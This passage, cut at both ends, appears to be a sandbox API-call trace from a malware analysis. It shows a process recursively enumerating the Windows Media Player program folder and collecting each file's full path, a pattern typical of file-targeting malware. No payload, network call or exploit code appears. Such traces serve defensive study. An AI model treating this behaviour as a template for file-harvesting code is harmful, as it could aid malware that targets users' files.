FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.174] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.174] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.174] lstrcmpW (lpString1="Icons", lpString2=".") returned 1 [0040.174] lstrcmpW (lpString1="Icons", lpString2="..") returned 1 [0040.174] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.174] lstrlenW (lpString="Icons") returned 5 [0040.174] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Icons" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons" [0040.174] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons\\" [0040.174] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Icons\\") returned 50 [0040.174] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*" [0040.174] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.174] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.174] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.174] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.174] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.174] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.174] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.174] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.174] lstrcmpW (lpString1="Media Renderer", lpString2=".") returned 1 [0040.174] lstrcmpW (lpString1="Media Renderer", lpString2="..") returned 1 [0040.174] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.174] lstrlenW (lpString="Media Renderer") returned 14 [0040.174] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Media Renderer" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer" [0040.174] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\" [0040.174] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0040.174] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*" [0040.174] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.175] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.175] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.175] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.175] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.175] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.175] lstrcmpW (lpString1="avtransport.xml", lpString2=".") returned 1 [0040.175] lstrcmpW (lpString1="avtransport.xml", lpString2="..") returned 1 [0040.175] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0040.175] lstrlenW (lpString="avtransport.xml") returned 15 [0040.175] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="avtransport.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" [0040.175] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned 74 [0040.175] lstrcpyW (in: lpString1=0x5e8290, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" [0040.175] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.175] lstrcmpW (lpString1="connectionmanager_dmr.xml", lpString2=".") returned 1 [0040.175] lstrcmpW (lpString1="connectionmanager_dmr.xml", lpString2="..") returned 1 [0040.175] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0040.175] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25 [0040.175] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="connectionmanager_dmr.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" [0040.175] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned 84 [0040.175] lstrcpyW (in: lpString1=0x5e8330, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" [0040.175] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.175] lstrcmpW (lpString1="DMR_120.jpg", lpString2=".") returned 1 [0040.175] lstrcmpW (lpString1="DMR_120.jpg", lpString2="..") returned 1 [0040.175] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0040.175] lstrlenW (lpString="DMR_120.jpg") returned 11 [0040.175] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_120.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" [0040.175] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 70 [0040.175] lstrcpyW (in: lpString1=0x5e83e8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" [0040.175] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.175] lstrcmpW (lpString1="DMR_120.png", lpString2=".") returned 1 [0040.175] lstrcmpW (lpString1="DMR_120.png", lpString2="..") returned 1 [0040.175] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0040.176] lstrlenW (lpString="DMR_120.png") returned 11 [0040.176] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_120.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" [0040.176] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 70 [0040.176] lstrcpyW (in: lpString1=0x5e8480, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" [0040.176] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.176] lstrcmpW (lpString1="DMR_48.jpg", lpString2=".") returned 1 [0040.176] lstrcmpW (lpString1="DMR_48.jpg", lpString2="..") returned 1 [0040.176] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0040.176] lstrlenW (lpString="DMR_48.jpg") returned 10 [0040.176] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_48.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" [0040.176] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 69 [0040.176] lstrcpyW (in: lpString1=0x5e8518, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" [0040.176] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.176] lstrcmpW (lpString1="DMR_48.png", lpString2=".") returned 1 [0040.176] lstrcmpW (lpString1="DMR_48.png", lpString2="..") returned 1 [0040.176] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0040.176] lstrlenW (lpString="DMR_48.png") returned 10 [0040.176] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_48.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" [0040.176] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 69 [0040.176] lstrcpyW (in: lpString1=0x5e85b0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" [0040.176] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.176] lstrcmpW (lpString1="RenderingControl.xml", lpString2=".") returned 1 [0040.176] lstrcmpW (lpString1="RenderingControl.xml", lpString2="..") returned 1 [0040.176] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0040.176] lstrlenW (lpString="RenderingControl.xml") returned 20 [0040.176] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="RenderingControl.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" [0040.176] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned 79 [0040.176] lstrcpyW (in: lpString1=0x5e8648, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" [0040.176] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.176] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.177] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.177] lstrcmpW (lpString1="mpvis.DLL", lpString2=".") returned 1 [0040.177] lstrcmpW (lpString1="mpvis.DLL", lpString2="..") returned 1 [0040.177] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.177] lstrlenW (lpString="mpvis.DLL") returned 9 [0040.177] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="mpvis.DLL" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" [0040.177] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned 53 [0040.177] lstrcpyW (in: lpString1=0x5e0c90, lpString2="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL") returned="c:\\Program Files (x86)\\Windows Media Player\\mpvis.DLL" [0040.177] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.177] lstrcmpW (lpString1="Network Sharing", lpString2=".") returned 1 [0040.177] lstrcmpW (lpString1="Network Sharing", lpString2="..") returned 1 [0040.177] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.177] lstrlenW (lpString="Network Sharing") returned 15 [0040.177] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Network Sharing" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing" [0040.177] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\" [0040.177] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\") returned 60 [0040.177] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*" [0040.177] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.177] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.177] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.177] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.177] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.177] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.177] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.177] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.177] lstrcmpW (lpString1="routing.exe", lpString2=".") returned 1 [0040.177] lstrcmpW (lpString1="routing.exe", lpString2="..") returned 1 [0040.177] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.177] lstrlenW (lpString="routing.exe") returned 11 [0040.177] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="routing.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0040.177] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned 55 [0040.177] lstrcpyW (in: lpString1=0x5e0d08, lpString2="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\routing.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\routing.exe" [0040.177] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.177] lstrcmpW (lpString1="setup_wm.exe", lpString2=".") returned 1 [0040.177] lstrcmpW (lpString1="setup_wm.exe", lpString2="..") returned 1 [0040.177] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.177] lstrlenW (lpString="setup_wm.exe") returned 12 [0040.177] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="setup_wm.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" [0040.177] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned 56 [0040.177] lstrcpyW (in: lpString1=0x5e5d40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\setup_wm.exe" [0040.177] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.177] lstrcmpW (lpString1="Skins", lpString2=".") returned 1 [0040.177] lstrcmpW (lpString1="Skins", lpString2="..") returned 1 [0040.177] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.177] lstrlenW (lpString="Skins") returned 5 [0040.177] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Skins" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins" [0040.178] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\" [0040.178] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned 50 [0040.178] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*" [0040.178] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Skins\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.178] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.178] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.178] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.178] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.178] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.178] lstrcmpW (lpString1="Revert.wmz", lpString2=".") returned 1 [0040.178] lstrcmpW (lpString1="Revert.wmz", lpString2="..") returned 1 [0040.178] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\") returned 50 [0040.178] lstrlenW (lpString="Revert.wmz") returned 10 [0040.178] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\", lpString2="Revert.wmz" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" [0040.178] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned 60 [0040.178] lstrcpyW (in: lpString1=0x5e2688, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz") returned="c:\\Program Files (x86)\\Windows Media Player\\Skins\\Revert.wmz" [0040.178] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.178] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.178] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.178] lstrcmpW (lpString1="Visualizations", lpString2=".") returned 1 [0040.178] lstrcmpW (lpString1="Visualizations", lpString2="..") returned 1 [0040.178] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.178] lstrlenW (lpString="Visualizations") returned 14 [0040.178] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Visualizations" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations" [0040.178] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\" [0040.178] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\") returned 59 [0040.178] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*" [0040.178] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.178] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.178] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.178] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.178] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.178] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.178] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.178] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.178] lstrcmpW (lpString1="wmlaunch.exe", lpString2=".") returned 1 [0040.178] lstrcmpW (lpString1="wmlaunch.exe", lpString2="..") returned 1 [0040.178] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.178] lstrlenW (lpString="wmlaunch.exe") returned 12 [0040.178] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmlaunch.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" [0040.178] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned 56 [0040.179] lstrcpyW (in: lpString1=0x5e5dc0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmlaunch.exe" [0040.179] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.179] lstrcmpW (lpString1="wmpconfig.exe", lpString2=".") returned 1 [0040.179] lstrcmpW (lpString1="wmpconfig.exe", lpString2="..") returned 1 [0040.179] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.179] lstrlenW (lpString="wmpconfig.exe") returned 13 [0040.179] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpconfig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" [0040.179] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned 57 [0040.179] lstrcpyW (in: lpString1=0x5e5e40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpconfig.exe" [0040.179] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.179] lstrcmpW (lpString1="WMPDMC.exe", lpString2=".") returned 1 [0040.179] lstrcmpW (lpString1="WMPDMC.exe", lpString2="..") returned 1 [0040.179] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.179] lstrlenW (lpString="WMPDMC.exe") returned 10 [0040.179] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPDMC.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" [0040.179] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned 54 [0040.179] lstrcpyW (in: lpString1=0x5e0d80, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMC.exe" [0040.179] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.179] lstrcmpW (lpString1="WMPDMCCore.dll", lpString2=".") returned 1 [0040.179] lstrcmpW (lpString1="WMPDMCCore.dll", lpString2="..") returned 1 [0040.179] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.179] lstrlenW (lpString="WMPDMCCore.dll") returned 14 [0040.179] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPDMCCore.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" [0040.179] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned 58 [0040.179] lstrcpyW (in: lpString1=0x5e5ec0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" [0040.179] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.179] lstrcmpW (lpString1="wmpenc.exe", lpString2=".") returned 1 [0040.179] lstrcmpW (lpString1="wmpenc.exe", lpString2="..") returned 1 [0040.179] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.179] lstrlenW (lpString="wmpenc.exe") returned 10 [0040.179] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpenc.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" [0040.179] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned 54 [0040.179] lstrcpyW (in: lpString1=0x5e0df8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" [0040.179] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.179] lstrcmpW (lpString1="wmplayer.exe", lpString2=".") returned 1 [0040.179] lstrcmpW (lpString1="wmplayer.exe", lpString2="..") returned 1 [0040.179] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0040.179] lstrlenW (lpString="wmplayer.exe") returned 12 [0040.179] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmplayer.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" [0040.179] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media 